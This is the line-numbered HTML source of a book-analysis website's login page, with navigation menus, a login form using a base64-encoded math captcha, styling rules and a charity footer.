2232 <span class="gp-icon icon-menu-bars"><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M0 96c0-13.255 10.745-24 24-24h464c13.255 0 24 10.745 24 24s-10.745 24-24 24H24c-13.255 0-24-10.745-24-24zm0 160c0-13.255 10.745-24 24-24h464c13.255 0 24 10.745 24 24s-10.745 24-24 24H24c-13.255 0-24-10.745-24-24zm0 160c0-13.255 10.745-24 24-24h464c13.255 0 24 10.745 24 24s-10.745 24-24 24H24c-13.255 0-24-10.745-24-24z" /></svg><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M71.029 71.029c9.373-9.372 24.569-9.372 33.942 0L256 222.059l151.029-151.03c9.373-9.372 24.569-9.372 33.942 0 9.372 9.373 9.372 24.569 0 33.942L289.941 256l151.03 151.029c9.372 9.373 9.372 24.569 0 33.942-9.373 9.372-24.569 9.372-33.942 0L256 289.941l-151.029 151.03c-9.373 9.372-24.569 9.372-33.942 0-9.372-9.373-9.372-24.569 0-33.942L222.059 256 71.029 104.971c-9.372-9.373-9.372-24.569 0-33.942z" /></svg></span><span class="screen-reader-text">Menu</span> </button> 2233 <div id="mobile-menu" class="main-nav"><ul id="menu-primary-menu-1" class=" menu sf-menu"><li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-113805"><a href="#">Explore<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 2234<ul class="sub-menu"> 2235 <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-1343"><a href="https://bookanalysis.com/book-explorer/">Books</a></li> 2236 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57837"><a href="https://bookanalysis.com/author-explorer/">Authors</a></li> 2237 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-116413"><a href="https://bookanalysis.com/quiz/">Quizzes</a></li> 2238</ul> 2239</li> 2240<li class="open-left menu-icon-float-right menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-107973"><a>Glossary<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 2241<ul class="sub-menu"> 2242 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57711"><a href="https://bookanalysis.com/glossary/">Full Glossary</a></li> 2243 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57710"><a href="https://bookanalysis.com/1984/glossary/">1984</a></li> 2244 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57708"><a href="https://bookanalysis.com/dune/glossary/">Dune</a></li> 2245 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57794"><a href="https://bookanalysis.com/game-of-thrones/glossary/">Game of Thrones</a></li> 2246 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57707"><a href="https://bookanalysis.com/harry-potter/glossary/">Harry Potter</a></li> 2247 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57709"><a href="https://bookanalysis.com/the-hunger-games/glossary/">The Hunger Games</a></li> 2248 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-109059"><a href="https://bookanalysis.com/lord-of-the-rings/glossary/">Lord of the Rings</a></li> 2249</ul> 2250</li> 2251<li class="open-left menu-icon-float-right menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-57715"><a>Support<span role="presentation" class="dropdown-menu-toggle">
2251<span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 2252<ul class="sub-menu"> 2253 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57714"><a href="https://bookanalysis.com/about/">About</a></li> 2254 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57712"><a href="https://bookanalysis.com/charity/">Charity</a></li> 2255 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57863"><a href="https://bookanalysis.com/contact/">Contact</a></li> 2256 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57713"><a href="https://bookanalysis.com/request-a-book/">Request a Book</a></li> 2257</ul> 2258</li> 2259<li class="login-main-nav gp-user-menu nmr-logged-out menu-item menu-item-type-custom menu-item-object-custom menu-item-113726"><a href="https://bookanalysis.com/login/">Sign in</a></li> 2260</ul></div><div class="menu-bar-items"> <span class="menu-bar-item"> 2261 <a href="#" role="button" aria-label="Open search" aria-haspopup="dialog" aria-controls="gp-search" data-gpmodal-trigger="gp-search"><span class="gp-icon icon-search"><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path fill-rule="evenodd" clip-rule="evenodd" d="M208 48c-88.366 0-160 71.634-160 160s71.634 160 160 160 160-71.634 160-160S296.366 48 208 48zM0 208C0 93.125 93.125 0 208 0s208 93.125 208 208c0 48.741-16.765 93.566-44.843 129.024l133.826 134.018c9.366 9.379 9.355 24.575-.025 33.941-9.379 9.366-24.575 9.355-33.941-.025L337.238 370.987C301.747 399.167 256.839 416 208 416 93.125 416 0 322.875 0 208z" /></svg><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M71.029 71.029c9.373-9.372 24.569-9.372 33.942 0L256 222.059l151.029-151.03c9.373-9.372 24.569-9.372 33.942 0 9.372 9.373 9.372 24.569 0 33.942L289.941 256l151.03 151.029c9.372 9.373 9.372 24.569 0 33.942-9.373 9.372-24.569 9.372-33.942 0L256 289.941l-151.029 151.03c-9.373 9.372-24.569 9.372-33.942 0-9.372-9.373-9.372-24.569 0-33.942L222.059 256 71.029 104.971c-9.372-9.373-9.372-24.569 0-33.942z" /></svg></span></a> 2262 </span> 2263 </div> </div><!-- .inside-navigation --> 2264 </nav><!-- #site-navigation --> 2265 <!-- 2266<div class="second-nav grid-container hide-on-desktop hide-on-tablet"> 2267 2268</div> 2269--> 2270 2271<!-- OLD CODE ABOVE, NEW BELOW. --> 2272 2273 2274<div class="outer-container-menu"> 2275 2276 <div class="second-nav grid-container"> 2277 2278</div> 2279 2280</div> 2281 2282<style> 2283 2284@media(min-width: 769px) { 2285 .secondary-navigation { 2286 overflow-y: hidden; 2287 } 2288 nav.secondary-navigation .main-nav>ul { 2289 flex-wrap: nowrap; 2290 } 2291 .secondary-navigation li { 2292 min-width: max-content; 2293 } 2294 2295 #secondary-navigation { 2296 max-width: 1300px; 2297 margin-right: auto; 2298 margin-left: auto; 2299 } 2300} 2301 2302 2303</style> 2304 <div class="site grid-container container hfeed" id="page"> 2305 <div class="site-content" id="content"> 2306 2307 <div class="content-area" id="primary"> 2308 <main class="site-main" id="main"> 2309 2310<article id="post-59965" class="post-59965 page type-page status-publish wl_entity_type-article" itemtype="https://schema.org/CreativeWork" itemscope> 2311 <div class="inside-article"> 2312 2313 <div class="entry-content" itemprop="text"> 2314 <div class="gb-container gb-container-c2a40a57"><div class="gb-inside-container"> 2315 2316<h1 class="gb-headline gb-headline-4802e9d7 gb-headline-text">Welcome Back!</h1> 2317 2318</div></div> 2319 2320<div class="gb-container gb-container-9bb71604"> 2321<div class="gb-grid-wrapper gb-grid-wrapper-94472815"> 2322<div class="gb-grid-column gb-grid-column-3588f98f"><div class="gb-container gb-container-3588f98f"> 2323<div class="gb-container gb-container-e2525f42"><div class="gb-inside-container"> 2324 2325<h2 class="gb-headline gb-headline-8a013499 gb-headline-text">Log In</h2> 2326 2327 2328 2329 2330 2331 2332<div class="mp_wrapper mp_login_form"> 2333 <!-- mp-login-form-start --> <form name="mepr_loginform" id="mepr_loginform" class="mepr-form" action="https://bookanalysis.com/log-in/" method="post"> 2334 <div class="mp-form-row mepr_username"> 2335 <div class="mp-form-label"> 2336 <label for="user_login">Username</label> 2337 </div> 2338 <input type="text" name="log" id="user_login" value=""> 2339 </div> 2340 <div class="mp-form-row mepr_password"> 2341 <div class="mp-form-label"> 2342 <label for="user_pass">Password</label> 2343 <div class="mp-hide-pw"> 2344 <input type="password" name="pwd" id="user_pass" value=""> 2345 <button type="button" class="button mp-hide-pw hide-if-no-js" data-toggle="0" aria-label="Show password">
2346 <span class="dashicons dashicons-visibility" aria-hidden="true"></span> 2347 </button> 2348 </div> 2349 </div> 2350 </div> 2351 2352<div class="mp-form-row mepr_math_captcha"> 2353 <div class="mp-form-label"> 2354 <label for="mepr_math_quiz"> 2355 <span id="mepr_math_captcha-6aaaf19808efb"></span> <span class="mepr-required" aria-hidden="true">*</span> 2356 </label> 2357 </div> 2358 2359 <input type="text" name="mepr_math_quiz" id="mepr_math_quiz" value="" class="mepr-form-input"> 2360 <input type="hidden" name="mepr_math_data" value="J5eYlPWH3UoQ/Bg9/Yfjg5+nl3rVJM1fqZbb9zMLKp0="> 2361 2362
2362<script type="rocketlazyloadscript"> 2363 function mepr_base64_decode(encodedData) { 2364 var decodeUTF8string = function(str) { 2365 // Going backwards: from bytestream, to percent-encoding, to original string. 2366 return decodeURIComponent(str.split('').map( 2367 function(c) { 2368 return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2) 2369 }) 2370 .join('') 2371 ) 2372 } 2373 2374 if (typeof window !== 'undefined') { 2375 if (typeof window.atob !== 'undefined') { 2376 return decodeUTF8string(window.atob(encodedData)) 2377 } 2378 } else { 2379 return new Buffer(encodedData, 'base64').toString('utf-8') 2380 } 2381 2382 var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=' 2383 var o1 2384 var o2 2385 var o3 2386 var h1 2387 var h2 2388 var h3 2389 var h4 2390 var bits 2391 var i = 0 2392 var ac = 0 2393 var dec = '' 2394 var tmpArr = [] 2395 2396 if (!encodedData) { 2397 return encodedData 2398 } 2399 2400 encodedData += '' 2401 do { 2402 // unpack four hexets into three octets using index points in b64 2403 h1 = b64.indexOf(encodedData.charAt(i++)) 2404 h2 = b64.indexOf(encodedData.charAt(i++)) 2405 h3 = b64.indexOf(encodedData.charAt(i++)) 2406 h4 = b64.indexOf(encodedData.charAt(i++)) 2407 bits = h1 << 18 | h2 << 12 | h3 << 6 | h4 2408 o1 = bits >> 16 & 0xff 2409 o2 = bits >> 8 & 0xff 2410 o3 = bits & 0xff 2411 2412 if (h3 === 64) { 2413 tmpArr[ac++] = String.fromCharCode(o1) 2414 } else if (h4 === 64) { 2415 tmpArr[ac++] = String.fromCharCode(o1, o2) 2416 } else { 2417 tmpArr[ac++] = String.fromCharCode(o1, o2, o3) 2418 } 2419 } while (i < encodedData.length) 2420 2421 dec = tmpArr.join('') 2422 return decodeUTF8string(dec.replace(/\0+$/, '')) 2423 } 2424 2425 jQuery(document).ready(function() { 2426 var el = document.getElementById("mepr_math_captcha-6aaaf19808efb") 2427 el.innerHTML = mepr_base64_decode("MTQgKyAyIGVxdWFscz8="); 2428 }); 2429 </script>
2429 2430</div> 2431 <div> 2432 <label><input name="rememberme" type="checkbox" id="rememberme" value="forever"> Remember Me</label> 2433 </div> 2434 <div class="mp-spacer"> </div> 2435 <div class="submit"> 2436 <input type="submit" name="wp-submit" id="wp-submit" class="button-primary mepr-share-button " value="Log In"> 2437 <input type="hidden" name="redirect_to" value="https://bookanalysis.com/forums/"> 2438 <input type="hidden" name="mepr_process_login_form" value="true"> 2439 <input type="hidden" name="mepr_is_login_page" value="true"> 2440 </div> 2441 </form> 2442 <div class="mp-spacer"> </div> 2443 <div class="mepr-login-actions"> 2444 <a href="https://bookanalysis.com/log-in/?action=forgot_password" title="Click here to reset your password"> 2445 Forgot Password </a> 2446 </div> 2447 2448 2449 <!-- mp-login-form-end --> 2450 </div> 2451 2452 2453</div></div> 2454</div></div> 2455 2456<div class="gb-grid-column gb-grid-column-24dcf6f3"><div class="gb-container gb-container-24dcf6f3 sticky"> 2457<div class="gb-container gb-container-15a94fa3 sticky"><div class="gb-inside-container"> 2458 2459<h2 class="gb-headline gb-headline-dc703ac2 gb-headline-text">Not a member yet?</h2> 2460 2461 2462 2463<p class="gb-headline gb-headline-54a6bd0d gb-headline-text">Join today for free to unlock benefits.</p> 2464 2465 2466 2467<a class="gb-button gb-button-5f3634f4 gb-button-text" href="https://bookanalysis.com/register/">Register For Free</a> 2468 2469 2470<div class="gb-container gb-container-dcd36d9a"> 2471 2472<p class="gb-headline gb-headline-df9ce890"><span class="gb-icon"><svg viewbox="0 0 24 24" height="24" width="24" y="0px" x="0px" xmlns="http://www.w3.org/2000/svg"> <path d="M12,2C6.477,2,2,6.477,2,12s4.477,10,10,10s10-4.477,10-10S17.523,2,12,2z M16,13h-3v3c0,0.552-0.448,1-1,1h0 c-0.552,0-1-0.448-1-1v-3H8c-0.552,0-1-0.448-1-1v0c0-0.552,0.448-1,1-1h3V8c0-0.552,0.448-1,1-1h0c0.552,0,1,0.448,1,1v3h3 c0.552,0,1,0.448,1,1v0C17,12.552,16.552,13,16,13z"></path> </svg></span><span class="gb-headline-text">Save Articles, Terms, and More</span></p> 2473 2474 2475 2476<p class="gb-headline gb-headline-b3e53ad1"><span class="gb-icon"><svg viewbox="0 0 24 24" height="24" width="24" y="0px" x="0px" xmlns="http://www.w3.org/2000/svg"> <path d="M12,2C6.477,2,2,6.477,2,12s4.477,10,10,10s10-4.477,10-10S17.523,2,12,2z M16,13h-3v3c0,0.552-0.448,1-1,1h0 c-0.552,0-1-0.448-1-1v-3H8c-0.552,0-1-0.448-1-1v0c0-0.552,0.448-1,1-1h3V8c0-0.552,0.448-1,1-1h0c0.552,0,1,0.448,1,1v3h3 c0.552,0,1,0.448,1,1v0C17,12.552,16.552,13,16,13z"></path> </svg></span><span class="gb-headline-text">Fewer Ads</span></p> 2477 2478 2479 2480<p class="gb-headline gb-headline-fe5d555f"><span class="gb-icon"><svg viewbox="0 0 24 24" height="24" width="24" y="0px" x="0px" xmlns="http://www.w3.org/2000/svg"> <path d="M12,2C6.477,2,2,6.477,2,12s4.477,10,10,10s10-4.477,10-10S17.523,2,12,2z M16,13h-3v3c0,0.552-0.448,1-1,1h0 c-0.552,0-1-0.448-1-1v-3H8c-0.552,0-1-0.448-1-1v0c0-0.552,0.448-1,1-1h3V8c0-0.552,0.448-1,1-1h0c0.552,0,1,0.448,1,1v3h3 c0.552,0,1,0.448,1,1v0C17,12.552,16.552,13,16,13z"></path> </svg></span><span class="gb-headline-text">Comment and Engage</span></p> 2481 2482 2483 2484<p class="gb-headline gb-headline-eaceacd4"><span class="gb-icon"><svg viewbox="0 0 24 24" height="24" width="24" y="0px" x="0px" xmlns="http://www.w3.org/2000/svg"> <path d="M12,2C6.477,2,2,6.477,2,12s4.477,10,10,10s10-4.477,10-10S17.523,2,12,2z M16,13h-3v3c0,0.552-0.448,1-1,1h0 c-0.552,0-1-0.448-1-1v-3H8c-0.552,0-1-0.448-1-1v0c0-0.552,0.448-1,1-1h3V8c0-0.552,0.448-1,1-1h0c0.552,0,1,0.448,1,1v3h3 c0.552,0,1,0.448,1,1v0C17,12.552,16.552,13,16,13z"></path> </svg></span><span class="gb-headline-text">Beta access to all new features</span></p> 2485 2486</div> 2487</div></div> 2488</div></div> 2489</div> 2490</div> 2491 2492<div class="gb-container gb-container-f541cf98"><div class="gb-inside-container"> 2493<div class="gb-button-wrapper gb-button-wrapper-e43f069d"> 2494 2495<a class="gb-button gb-button-5c129cae" href="javascript:history.back()"><span class="gb-icon"><svg xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" width="48" height="48" viewbox="0 0 64 64" style=";"><path d="M 32 10 C 19.85 10 10 19.85 10 32 C 10 44.15 19.85 54 32 54 C 44.15 54 54 44.15 54 32 C 54 19.85 44.15 10 32 10 z M 32 14 C 41.941 14 50 22.059 50 32 C 50 41.941 41.941 50 32 50 C 22.059 50 14 41.941 14 32 C 14 22.059 22.059 14 32 14 z M 26.367188 26.017578 C 25.995313 26.069953 25.638297 26.228375 25.341797 26.484375 L 20.695312 30.484375 C 20.254313 30.864375 20 31.417 20 32 C 20 32.583 20.254313 33.135625 20.695312 33.515625 L 25.341797 37.515625 C 25.711797 37.833625 26.176484 38 26.646484 38 C 26.930484 38 27.214469 37.940359 27.480469 37.818359 C 28.191469 37.492359 28.646484 36.782 28.646484 36 L 28.646484 34 L 41.357422 34 C 42.462422 34 43.357422 33.104 43.357422 32 C 43.357422 30.896 42.461422 30 41.357422 30 L 28.646484 30 L 28.646484 28 C 28.646484 27.218 28.191469 26.507641 27.48
24950469 26.181641 C 27.125469 26.018141 26.739062 25.965203 26.367188 26.017578 z"></path></svg></span><span class="gb-button-text">or go back to previous page</span></a> 2496 2497</div> 2498</div></div> 2499 2500 2501<div style="height:60px" aria-hidden="true" class="wp-block-spacer"></div> 2502 2503 2504 2505<style> 2506 2507.mepr-form input.invalid,.mepr-form select.invalid,.mepr-form textarea.invalid,.mepr-form label.mepr-checkbox-field.invalid,.mepr-form div.mepr-checkboxes-field.invalid,.mepr-form div.mepr-radios-field.invalid { 2508 border: 1px solid #ffcccc!important; 2509 background-color: #ffe5e5!important; 2510} 2511 2512.nsl-container-buttons { 2513width: 100%; 2514} 2515 2516/* CSS added by Will 18/8/22 */ 2517.button-primary { 2518 background-color: #1E73BE!important; 2519 color: #fff; 2520 padding: 10px; 2521 padding-right: 20px!important; 2522 padding-left: 20px!important; 2523 border-radius: 5px; 2524 box-shadow: 1px 1px 4px rgba(0, 0, 0, 0.2); 2525 display: inline-block; 2526 font-size: 1.1em; 2527 font-weight: 500; 2528 transition: 300ms; 2529} 2530 2531.button-primary:hover { 2532 background-color: #fff!important; 2533 color: #222!important; 2534 border-radius: 7px; 2535 box-shadow: 1px 1px 6px rgba(0, 0, 0, 0.25); 2536 text-decoration: none; 2537} 2538 2539a.gb-button-5c129cae, #AdThrive_Header_1_desktop { 2540text-decoration: none!important; 2541} 2542 2543.mepr-login-actions { 2544text-align: left!important; 2545} 2546 2547@media screen and (max-width:768px) { 2548 .inside-article a { 2549 margin-bottom: 10px; 2550 } 2551} 2552 2553.separate-containers .site-main > :last-child { 2554 margin-right: 10px; 2555 margin-left: 10px; 2556} 2557 2558.mp_wrapper p { 2559 display:none; 2560} 2561 2562.mp_wrapper input[type=text], .mp_wrapper select, .mp_wrapper input[type=email] { 2563 border-radius: 7px; 2564background: #fff; 2565} 2566 2567.mp_wrapper { 2568 margin-bottom: 20px; 2569} 2570.mp_wrapper form { 2571 margin-bottom: 20px; 2572 2573} 2574 2575div#mepr-account-nav { 2576 text-align: center; 2577} 2578 2579.grid { 2580 min-height: 100px; 2581} 2582 2583.separate-containers .inside-article { 2584 box-shadow: none!important; 2585 background: none!important; 2586} 2587 2588.separate-containers .site-main> :last-child { 2589 box-shadow: none; 2590} 2591 2592.gb-container-f541cf98 { 2593 text-align:center!important; 2594} 2595 2596.user-progress { 2597 padding: 10px; 2598 border-radius: 5px; 2599 background-color: #1E73BE!important; 2600} 2601 2602.course-progress { 2603 border-radius: 5px; 2604 box-shadow: 1px 1px 4px rgba(0,0,0,.2) 2605} 2606 2607#user_pass, .mepr_error, .mepr_updated, .mepr-form-input, #mepr-new-password, #mepr-confirm-password, .mp-password-strength-display { 2608border-radius: 7px!important; 2609} 2610 2611p { 2612margin-bottom: 0px; 2613} 2614 2615#mepr-template-login .mepro-form h1, #mepr-template-login .mepr-form h1 { 2616display: none; 2617} 2618 2619.mp_wrapper { 2620margin-top: 20px; 2621} 2622 2623#mepro-login-hero .mepro-boxed { 2624border-width: 0px!important; 2625} 2626 2627.button-primary.mepr-share-button { 2628 width: 100%; 2629} 2630 2631/* Main Nav Styling */ 2632@media (max-width: 1165px) { 2633 .custom-search-form { 2634 width: 300px !important; 2635 margin-left: 0px !important; 2636 margin-right: 0px !important; 2637 padding-left: 5px !important; 2638 padding-right: 5px !important; 2639 } 2640} 2641 2642@media (max-width: 1075px) { 2643 .custom-search-form { 2644 width: 210px !important; 2645 margin-left: 0px !important; 2646 margin-right: 0px !important; 2647 padding-left: 5px !important; 2648 padding-right: 5px !important; 2649 } 2650} 2651 2652@media (max-width: 1165px) { 2653 .site-logo { 2654 margin-right: 5px!important; 2655 } 2656} 2657 2658@media (max-width: 989px) { 2659 .site-logo { 2660 margin-right: auto!important; 2661 } 2662} 2663 2664/* Enzo Test */ 2665 2666/* Styling for the 'login-main-nav' when it is active */ 2667.main-navigation .main-nav ul li.login-main-nav.current-menu-item > a, 2668.main-navigation .main-nav ul li.login-main-nav.current-menu-item > a:hover { 2669 color: #ffffff; 2670 background-color: none!important; 2671} 2672 2673/* Styling for the 'join-club-main-nav' when it is active */ 2674.main-navigation .main-nav ul li.join-club-main-nav.current-menu-item > a, 2675.main-navigation .main-nav ul li.join-club-main-nav.current-menu-item > a:hover { 2676 color: #ffffff; 2677 background-color: none!important; 2678} 2679 2680 2681</style> 2682<span class="cp-load-after-post"></span> </div> 2683 2684 </div> 2685</article> 2686 </main> 2687 </div> 2688 2689 2690 </div> 2691</div> 2692 2693 2694<div class="site-footer"> 2695 <footer class="gb-container gb-container-76deaadf"><div class="gb-inside-container"> 2696<div class="gb-container gb-container-034326b0"><div class="gb-inside-container"> 2697<div class="gb-grid-wrapper gb-grid-wrapper-cd6f1c6a"> 2698<div class="gb-grid-column gb-grid-column-aa698b99"><div class="gb-container gb-container-aa698b99"><div class="gb-inside-container"> 2699 2700<p class="gb-headline gb-headline-e5209685 gb-headline-text">Charity</p> 2701 2702 2703 2704<p class="gb-headline gb-headline-af2df53c gb-headline-text">It is through your support of visiting Book Analysis that we can support charities, such as Teenage Cancer Trust. </p> 2705 2706 2707 2708<p class="gb-headline gb-headline-52538a6f"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg">
2708<path fill="currentColor" d="M462.3 62.6C407.5 15.9 326 24.3 275.7 76.2L256 96.5l-19.7-20.3C186.1 24.3 104.5 15.9 49.7 62.6c-62.8 53.6-66.1 149.8-9.9 207.9l193.5 199.8c12.5 12.9 32.8 12.9 45.3 0l193.5-199.8c56.3-58.1 53-154.3-9.8-207.9z"></path></svg></span><span class="gb-headline-text"><a href="https://bookanalysis.com/charity/">Read about Teenage Cancer Trust</a></span></p> 2709 2710 2711<div class="wp-block-image"> 2712<figure class="aligncenter size-large is-resized"><img decoding="async" width="1024" height="538" src="https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust-1024x538.jpg?strip=all&lazy=1" alt="" class="wp-image-1414 lazyload" style="width:228px;height:119px" data-src="https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust-1024x538.jpg?strip=all" loading="lazy" data-srcset="https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust-1024x538.jpg?strip=all 1024w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust-300x158.jpg?strip=all 300w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust-768x403.jpg?strip=all 768w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust.jpg?strip=all&w=595 595w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust.jpg?strip=all 1200w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust.jpg?strip=all&w=120 120w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust.jpg?strip=all&w=240 240w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust.jpg?strip=all&w=360 360w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust.jpg?strip=all&w=480 480w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust.jpg?strip=all&w=840 840w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust.jpg?strip=all&w=960 960w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust.jpg?strip=all&w=1080 1080w" data-max-width="1024" data-sizes="auto" data-eio-rwidth="1024" data-eio-rheight="538" /><noscript><img decoding="async" width="1024" height="538" src="https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust-1024x538.jpg?strip=all" alt="" class="wp-image-1414" style="width:228px;height:119px" srcset="https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust-1024x538.jpg?strip=all 1024w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust-300x158.jpg?strip=all 300w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust-768x403.jpg?strip=all 768w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust.jpg?strip=all&w=595 595w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust.jpg?strip=all 1200w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust.jpg?strip=all&w=120 120w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust.jpg?strip=all&w=240 240w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust.jpg?strip=all&w=360 360w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust.jpg?strip=all&w=480 480w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust.jpg?strip=all&w=840 840w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust.jpg?strip=all&w=960 960w, https://cdn.bookanalysis.com/wp-content/uploads/2020/07/Teenage-Cancer-Trust.jpg?strip=all&w=1080 1080w" sizes="(max-width: 1024px) 100vw, 1024px" data-eio="l" /></noscript></figure> 2713</div> 2714</div></div></div> 2715 2716<div class="gb-grid-column gb-grid-column-dd295901"><div class="gb-container gb-container-dd295901"><div class="gb-inside-container"> 2717 2718<p class="gb-headline gb-headline-02b4d7e3 gb-headline-text">Useful Links</p> 2719 2720 2721 2722<p class="gb-headline gb-headline-154af9d8"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 448 512" xmlns="http://www.w3.org/2000/svg">
2722<path fill="currentColor" d="M416 208H272V64c0-17.67-14.33-32-32-32h-32c-17.67 0-32 14.33-32 32v144H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h144v144c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32V304h144c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z"></path></svg></span><span class="gb-headline-text"><a href="https://bookanalysis.com/about/">About</a></span></p> 2723 2724 2725 2726<p class="gb-headline gb-headline-59f9ae59"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm0 48v40.805c-22.422 18.259-58.168 46.651-134.587 106.49-16.841 13.247-50.201 45.072-73.413 44.701-23.208.375-56.579-31.459-73.413-44.701C106.18 199.465 70.425 171.067 48 152.805V112h416zM48 400V214.398c22.914 18.251 55.409 43.862 104.938 82.646 21.857 17.205 60.134 55.186 103.062 54.955 42.717.231 80.509-37.199 103.053-54.947 49.528-38.783 82.032-64.401 104.947-82.653V400H48z"></path></svg></span><span class="gb-headline-text"><a href="https://bookanalysis.com/contact/">Contact</a></span></p> 2727 2728 2729 2730<p class="gb-headline gb-headline-d118b87e"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 448 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M448 